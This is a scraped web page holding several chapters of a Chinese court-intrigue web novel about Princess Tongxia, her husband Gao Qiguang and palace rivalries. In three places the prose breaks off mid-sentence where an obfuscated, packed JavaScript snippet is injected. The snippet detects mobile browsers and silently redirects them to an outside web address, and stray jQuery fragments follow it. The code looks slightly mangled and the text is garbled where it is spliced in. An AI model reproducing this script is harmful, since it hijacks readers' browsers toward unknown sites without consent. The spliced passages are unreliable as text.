同霞安静听完,却是未置一词,待见稚柳为她理好裙带,拿了挂在衣架上的承露囊要为她系上,方抬手推了一推,“你去叫李固备车,我要入宫。” 自大婚次日搬到此处,便到昨日宫宴,才是同霞初次出门,现在却又要往宫里去,能为什么事?稚柳细细想来,忽然才发觉异常:她刚刚说了好些关于驸马的话,公主倒是一句也不关心。 “昨日宫宴发生了什么事么?”她并没有跟去宫宴,便也只能往此处猜测。 同霞舒了口气,倒并不隐晦:“你没有看见驸马额上的伤么?那是东平长公主的女儿所伤,我自然要去还他们一份大礼。” 稚柳确有瞧见驸马额角有道红痕,只是她的身份并不适宜多问,此刻知晓不免一惊,想了想说道: “他们竟敢在宫宴动手,难道陛下还不知?可公主此去虽是为驸马讨公道,又会不会无益于那件事?李固探得消息,已有不少奏疏往宪台去了,公主理该更加闭门不出才是。” 同霞一笑,将她两手牵住:“有些事不来则已,既欺到门下,我就有办法叫它有利于我。” * 齐光照常时辰回到家中,只见卧房空空,连稚柳和李固也都不在,不知出了何事,又不知何处寻人,心中正不安时,倒见高黛走了过来,开口便问道: “你那伤口是怎么回事?昨夜你带公主回来,我便瞧见了。” 齐光不欲回顾,只反问道:“公主去哪里了?” 同霞虽是这家中的女主人,但既不做主,也从不与高黛互通有无,高黛也不好去干涉公主的事,便如实道: “我只知公主是午前出门的,乘了车,李固和稚柳随行。大约是哪处游逛去了,看上去不像有要紧事。” 若是别的,齐光还能稍信几分,独是游逛不大可能。同霞亲口对他说过,她先天体弱,夏日畏热,离不开冰——那么,不管去了哪里,总是要忍受暑气,她不会出事吧? 高黛并没说什么有用的,却见这人一副神思飞驰的样子,目光闪烁,脸色起伏,又分明是紧张,不由上前推了他一把,问道: “你和公主怎么了?或者是,你怎么了?”胸口越发觉得堵得慌,叹气又问:“难道你这伤是公主打的?” “不是!”他却忽然正色,近乎低吼。 高黛愣了一愣,只觉他是欲盖弥彰,微微蹙眉,细细打量,半晌竟忽觉此人早已“面目全非”,不可思议道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694382|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公主看中,天子赐婚,你无法拒绝,否则便要功亏一篑,这我都明白。可你也说过,她只是……只是一个变故,你们不可能做一世夫妻。但现在呢?公主于你而言,还是变故么?” 齐光轻而长地叹了一声,无尽无奈,又无尽羞愧,“我只告诉你,长此下去,只怕是她先不愿与我做夫妻了。” 高黛究竟也不明白他们到底发生了什么,但也深知他绝不是不可靠的人,便渐也觉得他这副从未有过神情令人心疼,缓和道: “公主看上去十分善解人意,有朝一日与她说明,想必她能理解。只要不妨碍行事,你就自己裁夺便是了。” 齐光不知再说什么,皱眉苦笑,歉疚道:“对不起,阿黛。” 高黛摇头一笑,见他额上挂下汗来,已洇没了伤处,便自袖中抽出帕子替他按了按,“你没有对不起我,原是我家带累了你家。” “这话以后不要再说。”齐光轻嗔道。 二人就这般相对站在檐下,穿堂的熏风将他们的衣带吹得混乱,有时交绕,有时齐飞,投在灰墙上的影子便格外生动,如双燕缱绻,又如戏蝶翻舞。 故此待同霞踏入宅门时,一眼见到这样的场景,也不禁驻足观望,看过半晌眼里亦唯有折服,遣开同样见证此情的李固与稚柳,一笑走了过去: “你们兄妹在说什么呢?也告诉我知道知道?” 她从未以“兄妹”称呼过他们,就像也是第一次见他们兄妹这样说话。兄妹于是一齐惊转,都不及掩住慌促,便又见她走到高黛面前,执其手道: “姐姐今天真好看,脸上擦得是什么胭脂?像肌肤里天然透出来的,我在宫里也没有见过这么好的颜色。” 高黛自来是素面朝人,便瞬间明白同霞就是指她的脸色,一时为难,滞涩道:“小女没有擦胭脂,是日头晒的吧。” 同霞笑道:“原来这样。天气这么热,还站在外头晒,就算姐姐精通医术,也不好这样逞强呀。” 高黛再不知如何应对,只得垂下脸去。一旁齐光见状,似才寻到说话的机会,立马道: “公主去哪里了?怎么才回来?” 同霞只偏头瞥他一眼:“我去京兆府了,想让他们帮我找人。” 京兆府管理繁京本地庶政,人口之事也在所辖,但齐光只觉突兀,问道:“公主怎么忽然要动官找人?是谁?” 同霞将目光转回高黛身上,深吸了口气,方道:“你不是同我说过,阿黛姐姐自幼便定了人家,只是男家迁居,失散多年,你也在找。但我想,天下之大,你一个人找到什么时候?岂不要耽误了姐姐的青春?这京兆府虽不管外地人事,往各州发令总是容易的。” 她一番轻言细语,却只叫这兄妹二人愕然失色。 片刻后,终是齐光恢复了些许镇定,探问道:“公主为何突然想起此事?京兆府的公文已经发出去了么?可是公主怎知他姓名家状,要如何找呢?” 同霞抿了抿嘴,若有所思,这才丢开了高黛的手,抱起双臂,“我不是突然想起来的,我是一直记着你的心事。”笑了笑,又道: “我去了才发觉,原来并不知那人的来历,所以就回来了,等你有空细细告诉我,我再去吧。” 她说完便转身走向了卧房,步伐轻盈,似全不在意何时能听到那人的家状,也全不在意究竟有没有那样一个人。 “我们该怎么办?公主是什么意思?”良晌,高黛怔怔问道。 齐光只是垂目,拔步之前,于她耳畔轻声道:“你放心,我会传信给秦非。” 14.帐空鹤怨 东平长公主降位郡主,驸马郑信被贬出京外,就连同二人的女儿郑氏也被刚刚定亲不久的萧关侯府下了退婚书,一家子限期十日便要离京。这是一夜之间的事。 也只一夜之间,繁京坊间便盛传开来,高齐光自出门上职起就听了一路。但他并不像旁人那般好奇,更无取笑,只是确定了一件事:同霞昨日并没有去京兆府,她是误会了他与高黛的关系。 可是,她应该也不是到现在才怀疑的。 他本日仍于常时回到家中,望见同霞正在窗台下扶腮看书,头发披散,衣裙宽松,又俨是一副刚刚起身的倦怠样子。 他举动再轻,也知她必已察觉自己进来,顿足片时,先去净手更衣方才靠近,轻轻地从后将她揽住,闻见她发间一股清冽甜香,不觉贪吸,柔声道:“我回来了。” 同霞遂放了书册,蹭着他的脸颊,侧转身躯,一笑:“我替你出了气,你可高兴么?” 已是心照不宣,齐光便无惊讶,轻“嗯”了声,“所以你昨日没有去京兆府,是骗我的。为什么骗我?” 同霞挑了挑眉,顽皮地昂起脸,道:“我去了,只是不知那人情形,很快就走了,我为什么要骗你?你怕我骗你么?或者说,是你骗我了我?” 齐光眼中一顿,旋即只一轻笑:“我也并没有骗你。那人叫秦非,也是清河郡祖籍,与我曾做过几年同窗。父母看我与他交好,他也生得端正,便给阿黛定了亲。” “哦,是这样。”同霞点点头,就顺势倚在他肩上,手指顺着他衣袖上的褶皱向上轻划,又拂过他的脖子、耳畔,到他的脸颊,“他生得怎样端正?一定远不如你吧?” 齐光将她的手握下,只觉她肌肤透凉,皱了皱眉:“以后能见到的,我其实已经寻到了一个乡人,说他家似乎还在北边。”停了停,方又道:“可觉得冷么?减些冰吧。” 同霞只是抽手,贴向他怀中,忽笑道:“我告诉你吧,其实帮你出气的是皇后,我倒是去晚了。” 齐光这才显露诧异,垂目又只见她一双澄澈至极亦诚挚至极的眸子,不觉咽喉一哽,半晌才问:“怎么说?” 同霞将他的神色细细观赏过,亦才不疾不徐地说给他听:“那夜陛下就宿在皇后处,我听说了便找过去,谁知已听皇后在说此事。我自然好奇皇后如何得知,悄悄问了甘露殿的内官罗兴才知,倒是那时在水榭侍奉的宫人看到了,便先告诉了他。” 齐光回想当时情形,动静虽不大,也远离御前,但四下班列的宫人确实不少,点了点头:“皇后娘娘毕竟抚养你一场,自然是会为你伸张的。” “难道不是为你么?”同霞紧接着反问,“皇后也没有这份闲心,我猜是高琰出的主意。” 她是笃定的口气,却又用“猜”,齐光隐隐只觉她话里有话,问道:“再如何也是内廷之事,高相不便多管吧?” 同霞抿唇摇头:“皇后许多时候都会请教高琰,你既做了高琰的门生,这一点却不觉?”见他表情略有凝滞,又道: “高郎,你在试探我么?” 齐光猝不及防,张口竟一哑声,才道:“我没有,为什么要有?” 他好像真的吓坏了,莫名其妙,但人若是被戳中了心事,也可以是这副神情。同霞没有深究,淡笑: “我说笑的。我就是像你说的那样,皇后养我一场,我知道一些她的习惯,所以告诉你,想你今后更加从容应对。” “我是直学士,也是许王师,所要应对的是详正图籍,授教生徒,似乎不必知晓皇后的习惯。” 他这下倒是“应对”得极快,是以其人之道还施彼身,同霞顿了顿,心中忽然知晓了这场攀谈的结局。 没有出乎她的意料。 “对了,等皇后娘娘说完,我还是进去了。”有些话说到了尽处,有些话也尚需收场,同霞只换了副形色,继续细细说起: “那些宫人传话,倒是传得一字不差,陛下便知晓四姐是拿冯氏羞辱我,处置之后,难免就问了我委不委屈。我自然实话实说,冯氏安分,你我相敬如宾,陛下还夸赞我们呢。” 齐光平静得像是早已知晓,又不得不加以附和:“陛下是怎么说的?” 同霞道:“陛下觉得我长大了,再不似从前顽劣,凡事只要争个高低,说必是你教导我了,不愧是本朝第一个进士出身的驸马,明理宽善,才德兼备,还说我们是所有公主和驸马的典范。” 齐光一笑,将她鬓边翘起的一缕头发掠到耳后,缓而却问道:“霞儿,你真的不委屈么?” 同霞眨了眨眼,声音清亮道:“我是长公主,不必受任何人的委屈。何况——我的生母也不过是先帝的一个婢妾,将心比心,我也不会想着与冯氏过不去。” 她脾性如何,齐光已算了解几分。可冯氏的存在,不论是贵为公主,还是寻常人妇,若当真丝毫也不在乎,便不是因为至爱丈夫才包容一切,就是因为根本毫无夫妻之情可言。 但他们之间,似乎哪一种也不是。 所以啊,她当初究竟是怀抱怎样的心意接近自己的呢? 难道就是她对萧遮推心置腹所言的那样——只是觉得他与勋贵子弟不同?又或者是萧遮所说的那样——她是想借他与高氏的关联,平衡萧遮与肃王的关系? 可她那日分明也说了,她不愿牵扯到这些盘根错节的污秽中去——她分明知道,这里不是她的世外桃源。 良晌,他终究掩下一切情绪,回归正题:“那将来,冯氏的孩子按礼要唤你一声母亲,你也愿意?” 久候的同霞仍是畅然地点头:“其实我有些怕生孩子,因为我母亲就是生我而死,宫眷宗亲之中也有不少女子是死于难产。若是正好有人代劳,我就可以活得久一些了。” 齐光知道她必不会说介意,但也万没料到是这样的回答。坦率的自私,却又是悲观的自怜,让他一瞬震撼得不知所言。 “你要是觉得我不顾惜别人的命,我也没有办法,因为我说得都是真心话,我没有说谎,没有骗你。” 他此刻的心情,此刻的神情,同霞都看懂了。直直地注目他半刻,终于等到了他的颔首: “我,明白了。” 同霞展颜一笑,替他理了理被自己蹭皱的衣襟,慢慢又道:“出城大约八十里有一座南英山,你应该听过吧?我在山脚下置了一处私宅,虽不大,但胜在檐宇清净,山气幽凉,是个避暑佳处。我打算去小住一段时日,明天便走。” 齐光自是一惊:“明日就走?!一段时日是多久?我陪……”并非被打断,是他自己忽然一顿,脸色便随之黯淡下去。 “你既是直学士,又是许王师,我知道你走不开。放心,我叫李固安排了护从,也不会去很久。” 他先前“还施彼身”的笃定发言,同霞又巧妙地推了回去,似为遮掩这般儿戏,她又宽慰道: “我还要把七郎托付给你呢。昨日我也去瞧了德妃娘娘,她说起七郎似乎无心选妃,怕他惹怒陛下,叫我看着他些,实则也是请你劝劝他,你毕竟是陛下指给他的老师。” 齐光明白自己于此再无可言,“……好。” 同霞放心地点了点头,见天色已暗,便欲唤稚柳掌灯,出声之际却见他先起身,将案上短檠,榻边双烛,一一点就。 等到一室通明,夫妻仍相依坐在窗前,传了晚食,好久也没再说话。直至夜色深到极处,灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707262|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花也渐渐旋落,齐光方轻声开口: “那处山居想必十分幽雅,就像高人隐居处,青松成荫,柳竹遮蔽,晴空日照如凌霜气,明月清风可洗心尘,或者宅前还有一泓碧水,每当夜静,便有一双白鹤飞渡,然后又一齐隐入行云。” 他开言固是突兀,可说来却如吟咏一般,同霞不觉就入了神,仿佛他才是山居的主人,“那里有蕙帐兰室,也有沁水庭院,但没有什么飞鹤,更没有一双了。” “是吗?”齐光向她一笑。 “是的,没有的。”同霞亦一笑。 * 次日清晨,同霞便登车出发了。齐光想要送她到城门,但她只让他止步宅门,哪怕宅院本就偏于都城的南隅,与城门相隔不过百步。 “你与公主究竟怎么了?一定有事!”待车驾去远,高黛便再忍不住问起。哪怕齐光面上已晦暗得叫人看不清。 高黛仍未反应过来,同霞是对他们的兄妹关系产生了怀疑,这原也怪他从未防备,而那日也太过凑巧。踟蹰半晌,他终于将这无稽之谈开了口,也果然只见高黛震惊不已。 “但我已告诉公主,你是与秦非定了亲,她不会再深究了。” 高黛惊魂难定,又问道:“我原看公主连冯贞都毫不在意,又怎会联想到我的头上?是我的错。可她也说了,知道了这人的名姓便会再去京兆府,你怎能确定她不会深究呢?” “因为她的本意原不在此。” 高黛难解他语中奥义,细思来,只觉寒毛卓竖:“什么本意?你不是说过,公主只是公主么?” 齐光点头,旋即又摇头,竟一笑:“但我不知,她是高家的公主,还是只是皇家的公主。” * 车驾驶出城关后,稚柳一直未见同霞说话,就连眼睛也不曾稍抬。她大抵能够明白同霞心中思虑,有心开解,便主动说道: “公主当初既不在乎驸马早有妾,如今这高娘子是何身份,公主又何必多管?” 同霞却忽一笑,道:“你其实是想叫我连驸马都不要多管吧?”将脸转向她,又问:“我来问你,你觉得驸马是真心与我做夫妻的么?他心里是向着高家,还是只想安心做他的直学士?” 稚柳想了想,道:“公主这样问,必是已经察觉驸马有些防备。可在妾看来,驸马于夫妻的本分上,确也做得不差。也许是公主当初急于下嫁,驸马终究存疑吧。” 同霞微微一惊,牵住了她的手:“你的眼睛真是毒。”含笑叹了声,方说道:“但我不知他能防备我什么,防备我是高家抚养的公主?那他自己不也是高家的门生么?或者防备我是亲近七郎的,这倒是有些道理。还有什么,我自己也想不清。” 稚柳明白她的无奈,皱眉想来,又道:“其实以高琰的老谋深算,依附高家的人也不少,驸马究竟还是外人。公主就没有想过,高琰未必是相信驸马的?毕竟,高家也从未拿公主当自己人啊。” 同霞果然未曾想过,心气一提,双眼不觉睁大:“所以,你的意思是,驸马也在努力博取高琰更多的信任,而我的身份尴尬,他也不能完全信赖。” 稚柳点了点头:“妾只是觉得有这样的可能,左右公主存个心思,不必……不必自扰便是了。” 她说到最后一句忽然没了底气,却反而成了有力的点拨,同霞不禁觑眼端量,半晌说道: “你刚刚说我急于下嫁,他心中存疑,存什么疑?未必我一个公主还不能看上他了?还是我的夫妻本分做得不如他好?” 稚柳绝没想到是这话,惊诧之余突然忍俊不禁:“公主,这就是自扰了。” 同霞的脸上瞬间涨红,气息都短了短,“你不许笑!” 15.寸心谁言 树木浓阴处掩映着一座竹坞,缀满鲜花的篱落在屋舍前围出了一片宽敞的院子。院中一位白发老者面容含笑,手提木桶,正沿着篱落精细地浇灌花朵。 忽然,静谧的山林间传来阵阵马蹄声,只稍疑惑的工夫,声音就迫近了耳畔。再等老者放下木桶向外观望,已见三人于篱外跃马,为首的青袍少年冲破柴扉,向他奔来: “阿翁!” 老者看清这张面孔的同时,浑浊的双目已滚滚流下热泪,他撩袍下跪,口中呼道:“臣拜见……” 他熟练的动作被少年拥来的怀抱阻断,只又听道:“阿翁,三年了,我好想你啊!” 老者再也说不出话来,只能像小时候哄少年入睡一般,抬手轻拍着少年的脊背。少年也已泣不成声,但口中仍含混地重复着思念的话语。 许久许久,哭声方收。 老者将少年携入堂屋奉坐,看着这张哭得浮肿的脸,又不禁泪意上涌,忙引袖揩了揩眼睛,说道:“公主真是长大了!” 安喜长公主萧同霞含泪一笑,挽过老者的手臂,邀他同坐,“是啊,我都嫁人了!以后就能常来看阿翁了。” 老者却显露几分忧色,皱眉道:“公主来此,驸马可知?” 同霞抿了抿唇,摇头:“我没有必要叫他知道,也不想有人打扰阿翁颐养天年。” 老者低叹了一声,道:“公主要做的事,臣已经管不了了,臣只是想要公主平安,过得好。” 同霞为这言简意赅的话语心中一恸,许多旧事便涌现眼前。这个世上,她能够完全信赖的人,第一个便是她的阿翁。 她的阿翁名唤周肃,是自小侍奉先帝的近臣,直到三年前还是宫中内官之首。连当时还是太子的萧平都会尊称一声“周翁”。 在她没有封号的岁月里,正是周肃为她遮风挡雨,对她疼爱有加,让她有命活到今天,有命去做想做的事。 只是时移世易,先帝山陵崩后,周肃便按制迁出了内宫,来到这皇陵山下安置。三年来,同霞只能通过李固与周肃偶通消息,而今日的会面也是筹谋已久。 “驸马其实还不错。”收敛思绪,同霞只笑着摇了摇周肃的手臂,“阿翁若实在不放心,我下次带他来,阿翁替我审审他?” 周肃自然知晓这是取笑,拿她无法,轻嗔道:“进士出身的驸马,文人清流,必是胸襟骄傲,哪里肯屈脊于臣这把老骨头?若放在从前,臣倒是要提了他过堂审上三回的!” 见周肃不再愁眉,同霞也放了心,这才将四下环境扫视了一遍,一应器物用度虽比不上宫里,倒也尚算齐全整洁,又问道:“阿翁这里没有人侍奉,是陵署令没有安排么?” 周肃看出她是要问,紧接着就道:“原是有两个小杂役,臣倒要费心看着他们,索性遣走了。左右吃穿用度会有人按时送来,臣一个人才是真的清静。” 同霞也看周肃精神不错,便也再无可担心的,点点头,将自己在南英山置宅的事说了,又道: “南英山西面与皇陵相连,僻静少人,也不大会有人敢闯到皇陵地界,我今后来往就方便多了。阿翁,以后我护着你!” 周肃听来发惊,这才明白她先前所说“常来”的含义,劝道:“臣在这里很好,公主难道动辄就和驸马说来小住?臣看还是……” 话没说完,同霞一伸手将周肃的嘴捂住了,指间还衔了块糖,也顺势塞进了他口中,偏头一笑道:“阿翁,甜不甜?” 她这套无赖把戏还和小时候一般,凡周肃要说教,她必出此招。既叫她钻了空,周肃也只得点头,将她的手拉下,道:“公主赐的糖自然是甜的。” 同霞却又轻哼了声,不满意道:“阿翁别一个口一个公主了,叫得我耳朵疼,以后只许阿翁叫我的小名!” 周肃直是摇头叹气,又不觉发笑,“好,好。” * 凡靠近皇城的坊间,都是勋贵官宦府邸聚集。譬如太平坊,除了有今岁刚刚开府的安喜长公主府与许王府,另也有一座备受瞩目的亲王宅——肃王府。 值此夏日伏中,肃王妃高慈闲来无事,想起日前宫宴见到皇后,听她教导要和睦府内女眷,让肃王无忧,便索性在后园水亭设下小宴,遍邀了一众妃妾。 肃王如今的内眷,除正妃外,尚有徐氏、袁氏两位孺人,便是只矮高妃一等的侧妃。余者还有媵侍四人,则再低侧妃一等。 众妾侍知晓高妃出身高贵,素日相处都是怀抱十二分敬畏,无人敢擅自生事。是以骤见高妃邀宴,虽不知缘故,也都不敢迟延,不上两刻便已到齐。 一时开宴,高妃依次受过六人的礼,其实也与她们无话可说,不过就叫下人好生服侍,又唤了乐人前来奏曲消遣。 然而一曲终了,她偶一瞥眼,却见左席的徐氏愁眉不展,案上的果食也未曾一动。旁边袁氏执手相劝,也瞧不出是什么意思。 她又凝眸端量了片时,想起府中唯有这二人生有子女,尤其是徐妃,与她同年入府,最得宠爱,隔年就生下了肃王的长女,去岁又添了一个长子,便只觉是徐氏矫情作态,故意扫兴。 “徐氏,你是怎么了?本妃请你来此消暑,你倒不喜?” 她冷眼拂去,第一句便没有留余地。莫说众妃忽然一惊,就连乐人婢女都及时停下,齐齐跪倒。 徐氏连忙起身上前,拜道:“王妃息怒!王妃降恩赐宴,妾不胜欢欣,没……没有不喜。” 高慈哪里肯信,蔑笑又道:“你素日在大王面前恃宠生娇,以为我也吃你这一套?既无不喜,为何不动酒食?苦着张脸给谁看?” 徐氏本就生得柔弱纤细,肌肤胜雪,被高慈一斥,身躯顿时瘫软,面色白得发青,伏在地上颤颤道: “妾,妾真的没有!只是,熙郎昨日起便有些不思饮食,怕是害了暑气,妾实在有些担心。” 她不提孩子倒还罢了,一听“熙郎”二字简直便是烈火烹油,登时便叫高慈勃然大怒,喊道:“来人!把这贱人……” 高慈只欲命人钳制徐氏,但话才出口,一个金带紫袍的高大身影就冲入了亭中,将徐氏从地上扶起,上下看过,又旁若无人地细语安慰,许久才将目光对准了高慈: “熙郎是我的长子,陛下长孙,亦是陛下亲自赐名,你有几个胆子,竟敢欺侮他的母亲?!” 高慈的一腔怒火早在见到肃王萧迁时就化为了满怀羞愤,此刻跌坐凳上,忍得浑身发抖,泪珠一颗一颗地从眼眶掉落。 她与萧迁情分浅薄,一半的缘故都是没有子嗣,可今天却也是她第一回与徐氏撕破面皮,便被萧迁撞见,当着一众妾妃下人说了这样叫她尊严扫地的话。 萧迁当然仍无一丝恻隐,将徐氏交给袁氏照料,暂且先遣散了众人。走到高慈面前,凌然又道: “皇后多次教导你,要你在府中宽和待人,你又是如何答应,我都是知道的。你连你姑母的话都不遵,将来还想坐上她的位置?”冷笑摇头,又道: “说来也是可笑,你是这样,蓬莱也是容不下人的脾气,一样是由皇后教养,反倒是我那素来不在你们眼里的小姑母,从前嚣张跋扈,出嫁之后变得贤德守礼,就连驸马的一个贱妾也能善待。东平郡主伤了她的驸马,她就敢去陛下面前为驸马伸张——这件事,你姑母也替她说话了,陛下还十分夸赞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725025|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 往日旧故,近日风波,高慈自然没有不清楚的,却又不料萧迁能牵扯到今天的事上,悲愤已极,再不堪受辱,抬头说道: “大王现在倒觉得萧同霞好了?她种种所为,不过是恃宠而骄,又自甘下贱罢了。妾请大王不要忘了,她可是素来与许王交好的——大王近来不如意,可不是妾造成的!” 萧迁虽记为皇后子,到底是少了一层血缘,他若想要前程,按照目下境遇,也只有高氏可以依傍。于是高慈这话虽不免戳人心肺,却算是一针见血。 他忍耐地缓缓点头,硬将胸口的气憋下,忽又一笑,道:“王妃说得甚好,好到似乎也忘了,你们高氏三代女子,至今也不见生下一个子嗣。若实在有这般底气,你倒是给本王生一个嫡子啊?若终究不成,你又试想,陛下是弃我,还是弃高氏?或者将来有幸,我是立你为后可以稳固国本,还是立徐氏为后更为名正言顺呢?” 高慈终于颓然垂首,再不知所言。 萧迁亦不欲再费口舌,拂袖离去前,又沉沉丢下一句话:“高慈,你到底已是这王府里的女人,孤的前程就是你的前程。孤不怕你去高琰面前多舌,但孤谅你也没有痴傻到这个地步!” * 南英山西侧峰壁陡峭,壁下却有一片平原,连接着与皇陵后山相通的密林。同霞的山居便建在此地,三面为屋舍,围出一方庭院,推门便可见一汪碧潭,正是自山间流下的小溪积聚而成。 此刻夜已深沉,明月高悬峰顶,四下静绝,唯有水响蝉鸣,英英相杂,颇有节奏。蓦然,院中正屋房门轻启,稚柳走了出来,踮着脚尖小心翼翼去至阶下,与那处早已守候之人相视一笑: “公主今天高兴坏了,哄了许久才安稳睡了。你怎么还不去睡?我先守着便是。” 李固只是望着她,含笑不语,忽而却将右手握的佩剑换到左手,向她伸出了腾空的右掌:“阿柳,让我好好看看你。” 稚柳胸口一跳,不必眨眼,夜色已掩不住红霞泛起的脸颊,“你,不是天天都能看到我么?” “但现在只有我们。”李固不再等她,也不是迫不及待,右手缓缓下放,一掌便将她交握腹前的双手都包裹住了。 稚柳长舒了几口气,渐渐平静,也渐渐无法自控,一点头,在他的牵引下,并肩坐在了台阶上。 “公主高兴,你今天高不高兴?”李固扣紧她的十指,目光不移。 稚柳吸吐了口气,笃定道:“嗯,像做梦一样。” “我也是,我甚至觉得就住在这里不回去了才好。但总有一天,等到公主成了大事,我们肯定可以过上这样的日子,忘掉以前的一切,重新开始——不,就是新的开始。” 他向来谨慎少言,稚柳与他一道长大,还是第一回听他一口气说这么多字,而且也不像是刚刚想到的,笑着问道:“可是不知道还要多久,万一那时我们都老了呢?” 李固似被难住,皱眉半晌,忽道:“老了我也会娶你,哪怕只剩一日可活了,也是新的开始。” 稚柳再次惊诧,下一瞬便湿了眼眶。相视许久,她将头靠去他的肩上,同望月明,都不再说话。 这样静谧的长夜,这样静好的双影,同霞不想留下一丝遗憾。不必推窗见月,亦不必启户惊影,只静静坐在帐下,流转双目,就已觉天地造化待她不薄。 不知为何,她想起了高齐光想象的山居,柳竹青松,明月清风,还有一双白鹤渡水行云——白鹤确是没有的,她当时没有骗他,但此刻却忽然发觉那不是写实的话。 高郎啊高郎,若君是独鹤,我为孤鸾,虽寸心咫尺,也不可相通,这个道理你可明白么? 16.夜何冥冥 同霞于立秋当日返回城中。虽说是转了季,实则也不过二十天。而虽说只二十日,秋风不及扫黄叶,秋光却已教繁京城换了幅风景。 “依公主安排,自五月间,宪台便有了弹劾公主封户过多的匿名奏章,由少至多,渐渐是压不住的。臣想,上月闹出东平郡主之事,陛下一定已经在意,如今风言一起,连百姓都在议论公主奢侈无度,陛下便定会拿出态度的。” 马车里,受命早一日回城打探的李固向同霞禀告了她期待已久的消息。正如她当日所言,东平郡主这步异棋变成了一步利己的好棋。 “那就继续等吧,看看陛下如何处断。”她满意地点头,叫了李固驭车继续前行。可转头一见,稚柳却圆睁着眼睛疑惑地看她,“怎么了?没听懂么?” 稚柳未语先叹,道:“妾是不明白,公主为什么要使人弹劾自己,坏了自己的名声呢?” 同霞嗤声一笑:“李固没有问过我,我以为是你告诉他了,原来你也不明白。”这才解释: “我的名声从前是性情乖张,现在是奢华无度,难道是我一人之功?还不都是陛下之宠。而我怎么都不可能与七郎脱了关系,我之荣辱便是七郎的利害。那你说,陛下会怀疑谁在兴风作浪?” “高琰?”稚柳面色已变得明朗。 同霞笃然点头,继续道:“陛下必会召高琰试探此事,高琰也不会不明白,可他没有办法摆脱。从我的婚事起,他便被陛下接连戏弄,陛下有理由怀疑是他作为,也根本不必去查真伪。” “所以公主此举还是想叫陛下逐渐积怒于高氏,那之后呢?” 同霞忖度着摇了摇头:“高琰吃了暗亏,必定更加急于推肃王为储,陛下也定会再用七郎布阵。但不过,我总觉得陛下还是属意肃王的,只是高氏根深蒂固,他最惠而不费的办法便是以冷落肃王为鱼钩。” 稚柳没有过深的见解,但也足够明白,安慰道:“不管外面如何,公主只装作无辜就是了。” * 昨日李固先回城中,同霞并没叫他知会家中一句。因而甫入宅院,与正要去书房打扫的高黛迎面撞见,险叫她吓得翻落手捧的水盆。但她却不说话,低头行礼,有些忌惮的样子。 同霞心里端量,也并不走近,一笑道:“多日不见,姐姐可好?家中一切可好?” 高黛仍未抬眼,只回道:“多谢公主垂念,一切都好。哥哥不知公主要回来,今日仍是去上职了。” 这是第一次听她这样称呼高齐光,但想来也没有与她说起过高齐光。这第一次,或许也只是平常的。 同霞点了点头,抬脚走向卧房:“姐姐的裙子湿了,还是先去换换吧,秋天了,不要着凉。” 方才那一惊跳,高黛已知水洒到了身上,但直至卧房的门合上,她映照在盆中水面的脸孔才慢慢抬了起来。 * 仍同离去前的那天一样,同霞盥洗更衣后,便伏在窗下静静看书。但直到掌灯之时,她才听见那人因感惊讶而急如星火的步履声。她这次主动先转了身: “我回来了。” 但早已备好的笑意却在看见他的模样后不由一顿。他的脸色发白,不太符合他面上的表露的情绪,也似乎不是情绪所致,“你生病了么?” 齐光不语亦不动,待她诧异走来,欲伸手探他额头,却只退开了半步,“我先去换一换衣裳。” 他的习惯一向是好,无论进出,都十分注意仪表。看他转去衣架,同霞便到案上端了杯茶等他。然而再抬头时,只见他僵立在架前,一手撑在墙上,并没在宽衣。 “你怎么了?”她越发觉得奇怪,索性走去看个究竟,但他听到话却忽然开始动了。她不再放任,只伸手替他更衣,一面又细细看他,“你到底是怎么了?” 他没再退开,由她触碰,垂目与她对视,缓缓方道:“我今天晚回一时,是因为去了高相府上。有人奏你封赏逾制,又说公主府豪奢无度,你可曾听说?” 同霞正环着他的腰身拨开他的银带扣,闻言一笑,并不停下,“我才回来,到哪里去听说?是谁告我?难道是高琰?” 他微觉疑惑,眉心攒起,将她动作的手自腰间拿住,道:“正是匿名投状,陆续有许多,御史台久未查明来源,也只好呈报陛下。我去见高相,只是想探问陛下的态度,但高相也还未蒙召见。不过,坊间已有许多流言了。” “哦。”同霞又作淡淡一笑,将手抽开,悠然转回了窗下,“没什么好担心的,不值得你跑一趟。说不定就是我四姐的同侪,见她一家遭贬,想要出气又不敢以身犯险,就背地里做些见不得人的勾当。反正陛下自有明断。” 说着便将方才为他倒的茶提起饮了一口,又道:“若是陛下为平物议,当真削减了我的封赏,或至不叫我做公主了,你学士的俸禄也还能养得起我吧?” 这话自是颇堪玩味,她很期待他的回答,但等过半晌竟不闻一言,“你不愿——你怎么了!”她好奇转脸,这才见他又撑在墙边,另一手紧紧按着腹胃间,苍白的面上已满是冷汗。 